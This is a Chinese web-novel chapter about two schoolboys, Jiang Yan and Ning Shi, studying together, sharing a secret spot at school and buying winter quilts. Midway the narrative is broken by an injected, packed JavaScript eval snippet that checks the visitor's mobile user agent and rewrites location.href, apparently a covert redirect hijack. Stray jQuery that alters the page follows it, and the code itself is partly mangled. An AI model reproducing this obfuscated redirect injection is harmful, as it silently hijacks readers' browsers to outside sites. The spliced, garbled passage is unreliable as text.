13. 卷起来

江晏不知道宁时具体脑补了什么,但是自从他把宁时捡回来之后,宁时身上发生了不少改变。


比如,每天跟着他乖乖去上课。


当然,中间也接到了来自宁家的电话,内容无非是询问宁时在哪里,让他回去等等。


对此,宁时只有一个解释:


我住在同学家,天天去上课。


言外之意就是自己没干什么别的事,让他们别在骚扰自己了。


然后宁家开始给周莉打电话。


与此同时,宁时的熊孩子弟弟宁瑜一开始还不太相信宁时搬出去住,过上了平静的上学生活,甚至还在宁时的学校门口试图堵住宁时。


他理所当然地被江晏发现了。


趁这个机会,江晏硬是拉着宁时,在周莉面前狠狠告了一番状。


内容无非就是宁时的父母如何不称职,宁瑜如何打扰宁时学习之类。


周莉非常震惊,因为宁时从来没有和她说过这些。


但作为一个老师,她还是要和宁时的父母沟通的。


周莉认为宁时现在这个状态很好,于是在给宁陟岳打电话时含蓄了不少:


“宁先生啊,我看孩子最近不错,每天都挺认真的,成绩也开始提升了。要不,我们先让他这样,观察一阵?”


周莉都这样说了,宁陟岳也不好说什么了。


更何况,宁时的成绩确实是在提升,这让宁陟岳对他的包容度多了很多。


毕竟,宁家未来需要一个合格的继承人。从前宁瑜性格狂傲,宁时更是哪儿哪儿都不行。


现在却是变了,宁陟岳也开始对宁时的前途上心了。


既然宁时住在江晏家成绩上去了,那就让他这么住着。强行把他拉回来,也会伤了父子感情。


宁陟岳显然并不知道宁时对他没多少感情。


但无论如何,江晏和宁时的生活总算是渐渐归于平稳了。


江晏非常感动。


他对啾啾说:“我感觉再坚持几个月,就能顺利完成第一个世界了。”


江晏又看了眼身边做题的宁时,问啾啾:“你看,他现在像不像个乖孩子了?”


啾啾语气中透着一股恍惚:“反正我是没想到半个月内他能考到年纪前六百。”


江晏:“哈哈,我功不可没。”


下课铃响了,啾啾跟着节拍踩了他一下。


江晏伸了个懒腰,椅子随着他的力道往后倒了一下,轻轻磕到了身后胡方泽的桌子。


胡方泽抬头,看了眼江晏,又看了眼宁时。


他突然发出一声哀嚎。


江晏扭头:“你怎么了?”


胡方泽指着还在低头写卷子的宁时:“不是,他怎么还在学啊。”


江晏也顺着他的手指看了眼宁时,道:“孩子懂事了呗。”


胡方泽一把拉住江晏的袖子:“不,你根本不懂!”


江晏带着一副“我就静静看你表演”的表情。


胡方泽苦着脸:“本来我们都是后十的,结果这小子背着我们偷偷卷起来了。”


他话音刚落,宁时就回过头来。


宁时从前的余威尚在,胡方泽缩了下脖子。


宁时却漫不经心道:“哪里是背着你们。”


他指了指桌上的卷子:“我是大大方方地在学,好吗。”


胡方泽又哀嚎一声:“哥,求你别学了,这都下课了,玩一会儿吧。”


江晏很不给面子地笑出声来。


胡方泽道:“你的成绩上来了,上次我妈看成绩单注意到你了,现在天天拿我和你比。”


宁时摊了摊手,无奈耸肩,又转过身去,留给胡方泽一个背影。


江晏也笑嘻嘻道:“我去趟厕所。”


说完,蹦蹦跳跳地离开了座位,独留胡方泽一人感受卷王的气息。


时间就这样平静地流过。


在白天,宁时会安安静静听课。


当然有时也会开小差,会犯困。这时,江晏会悄悄踩他一脚。


江晏一度怀疑过宁时的起床气就是这样被自己磨没的。


后来,江晏吃到了人间的茉莉薄荷糖,惊为天人。


此后每当宁时再次犯困,江晏就会塞给他一粒。


糖果和金属包装相撞的声音很响,他必须用力捂紧包装打开,减少声音的响度。


偷偷摸摸的。


宁时也会偷偷摸摸地从他手上拿走那颗糖。


有时候宁时会摸到江晏手上的痒痒肉,江晏会憋着笑。


至于那颗用于提神的糖,有时候管用,有时候没用。


江晏眼睁睁见过宁时含着薄荷糖睡着了。


那次,他难得很有良心地没有叫醒宁时。


对此,啾啾评价:“你终于不像一个只盯着他学习的班主任了。”


江晏“切”了一声。


天气渐渐转凉下来,在晚上的大课间,宁时会拉着江晏参观学校的小角落。


实验中学有很多栋楼,方形的,不规则形状的。学校后期又建了一些通道把它们连在一起。


宁时会带着江晏去钻犄角旮旯的地方。


这些地方都没什么人,他们只是在那里静静地坐在。


有时候抱着一本单词书静静地坐着。


江晏个人很喜欢一处位于楼梯口的连结处。


这里有几扇很大的窗户。


在二楼,能看到窗外松树的尖尖,和远处的操场,还有学校围墙外更远的地方。


月光携着路灯的光,会透过窗子撒下大片明亮的阴影。


他和宁时坐在楼梯口的木板凳上。


周围很安静,有时甚至可以听见对方的呼吸声,那通常是宁时带他过来时走快了。


这从前是宁时的秘密基地。


江晏没有问宁时是怎么发现这里的。


也没有问他从前一个人来这里做什么。


他只懒洋洋地做在椅子上,仰着头,靠在身后微冷的墙壁上。


反正现在这里是他和宁时共同的秘密基地了。


在十一月底的时候,秘密基地外面的松树尖尖变成白色了。


是因为这个城市下了第一场雪。


此时,宁时从年纪前六百升到了前五百。


江晏则是前三百。


但此时江晏想的是,有必要给自己和宁时加一床被子了。


这几个月,江晏在对比了种种兼职后,选择了看起来最安全的——书店管理员。


时薪不算高,但好在工作时也可以看看书。


他和宁时靠这个攒了一点点钱。


中间宁家也打给过宁时钱。


两人算了算,购置冬天衣服差不多能够用。


这个世界,让江晏想起了自己很久很久之前的事。


他对啾啾说:“我好像知道自己为什么不太喜欢冬天了。”


啾啾“唔”了一声表示疑问。<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902324|160119||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>江晏窝在床上,披着被子,看着书桌前同样披着毯子在学习的宁时,道:“因为冬天的衣服很贵。”


想了想,看着屋子里银灰色的管道,又补充说:“而且还有取暖费。”


“对于我们这种没什么钱的人,冬天就是用攒了很久的钱买一件厚衣服,然后还不敢随便洗,因为干不了。”


啾啾:“……你突然这么真情实感地带入这个世界,让我感觉你好惨啊。”


江晏揉了揉鼻子:“我现在难道还不惨吗?我已经活了那么久为什么还要受这种罪!”


啾啾无奈:“你再坚持坚持,如果真到高考结束的话,这个世界已经过了三分之一了。”


江晏怏怏地哼唧了一声。


他感觉自身对寒冷的反感好像并不止来自于这个世界,更像是刻在骨子里的记忆。


但他又确实没有什么挨冻的记忆了。


江晏最初的记忆只停留在进入宗门前几个月。


江晏看着台灯晕开的光,想着,没关系的,他把分魂碎片都集齐之后,总会知道这件事的。


……


宁时写完了作业,裹着毯子也窝在他身边,打开手机点了点,指着屏幕问江晏:“你看买哪个?”


江晏低头,看见宁时收藏了好几种棉被,有一床是淡绿色的,上面印了几只小恐龙。


他有点心动。


再往下看,是一床棕色的毛毯,颜色看起来有点像烤箱里刚出炉的面包,非常温暖。


江晏于是陷入了纠结。


他抿着嘴,用手指戳着屏幕,


宁时从他身侧伸出手,抽走了手机:“还是买两套吧。”


江晏虽然内心非常赞同,但口中还是道:“不用了吧……”


宁时指了指床:“只买一套怎么分。”


江晏:……行吧。


于是他看着宁时勾选了购物车里那两套被子,利落地下单。


过了一周,宁时买的被子到了。


在楼下的驿站放着,是两个很大的包裹。


此时,是深秋的一个普通周日,阳光很好。


宁时没有看书,江晏也没有。


他们只是在床上瘫着,任凭阳光穿过窗棂,在他们的身上和脸上打下光芒或阴影。


宁时举起手机,在江晏面前晃了晃。


于是江晏面前的光被他的动作切碎了。


江晏依旧躺着,伸直了胳膊去够他的手:“怎么了?”


宁时顺势把手机塞到江晏手里:“我们的被子到了,一起下去拿吧。”


江晏丢开手机,翻了个身,把脸埋到被子里:“想想就感觉好累哦。”


宁时揪了下他的后颈,像在揪一只被惯坏了的猫:“别磨叽了,早晚都要去拿的。”


江晏的声音从被子上面穿出来,有点闷闷的:“等我做一下心理建设。”


一边,他对啾啾吐槽:“每当这种时候,我都格外怀念我在修真界的身体。”


不管江晏愿不愿意下去取,包裹都在那里。


他又不可能让宁时一个人去拿。


休息了一会儿,江晏和宁时一同下去了。


两个人一人抱着一个包裹上楼梯。从远远看去,他们的身影在洒满阳光的老旧楼房里,一会儿明一下,一会儿暗一下。


不一会儿,那两床新被子出现在了他们的床铺上,微微带着金色。


江晏和宁时又瘫在了上面,像两只晒太阳的猫。